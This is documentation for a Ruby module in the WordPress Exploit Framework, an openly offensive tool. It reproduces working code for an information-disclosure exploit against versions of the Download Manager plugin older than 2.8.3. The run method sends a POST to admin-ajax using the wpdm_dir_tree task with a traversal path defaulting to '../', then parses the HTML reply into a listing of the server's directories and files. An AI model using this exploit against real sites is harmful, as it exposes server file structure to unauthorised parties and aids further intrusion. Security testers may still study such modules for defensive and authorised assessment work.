Class: Wpxf::Auxiliary::DownloadManagerDirectoryListingDisclosure

Inherits:
Module
  • Object
show all
Includes:
ERB::Util, Wpxf
Defined in:
lib/wpxf/modules/auxiliary/info/download_manager_directory_listing_disclosure.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ DownloadManagerDirectoryListingDisclosure

Returns a new instance of DownloadManagerDirectoryListingDisclosure.



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# File 'lib/wpxf/modules/auxiliary/info/download_manager_directory_listing_disclosure.rb', line 10

def initialize
  super

  update_info(
    name: 'Download Manager Directory Listing Disclosure',
    desc: %(
      This module uses a lack of session and input validation in
      versions < 2.8.3 of the Download Manager plugin to get
      the directory listing of the specified directory.
    ),
    author: [
      'James Golovich', # Disclosure
      'rastating'       # WPXF module
    ],
    references: [
      ['WPVDB', '8365'],
      ['URL', 'http://www.pritect.net/blog/wordpress-download-manager-2-8-8-critical-security-vulnerabilities']
    ],
    date: 'Jan 19 2016'
  )

  register_options([
    StringOption.new(
      name: 'remote_path',
      desc: 'The relative or absolute path to view the contents of',
      required: true,
      default: '../'
    )
  ])
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/download_manager_directory_listing_disclosure.rb', line 41

def check
  check_plugin_version_from_readme('download-manager', '2.8.3')
end

#encoded_remote_path ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/download_manager_directory_listing_disclosure.rb', line 53

def encoded_remote_path
  url_encode(remote_path)
end

#remote_path ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/download_manager_directory_listing_disclosure.rb', line 45

def remote_path
  if datastore['remote_path'].end_with? '/'
    datastore['remote_path']
  else
    "#{datastore['remote_path']}/"
  end
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/download_manager_directory_listing_disclosure.rb', line 57

def run
  return false unless super

  listing = [{
    name: 'Name', type: 'Type'
  }]

  emit_info 'Requesting directory listing...'
  res = execute_post_request(
    url: wordpress_url_admin_ajax,
    params: {
      'action' => 'wpdm_init',
      'task' => 'wpdm_dir_tree'
    },
    body: {
      'dir' => encoded_remote_path
    }
  )

  if res.nil?
    emit_error 'No response from the target'
    return false
  end

  if res.code != 200
    emit_error "Server responded with code #{res.code}"
    return false
  end

  emit_info 'Parsing response...'
  begin
    doc = Nokogiri::HTML(res.body)
    items = doc.xpath("//ul//li")

    items.each do |item|
      if item['class'] =~ /directory/
        listing.push(name: item.at('a').text, type: 'Directory')
      else
        listing.push(name: item.at('a').text, type: 'File')
      end
    end
  rescue StandardError => e
    emit_error "Could not parse the response: #{e}"
    return false
  end

  emit_table listing
  true
end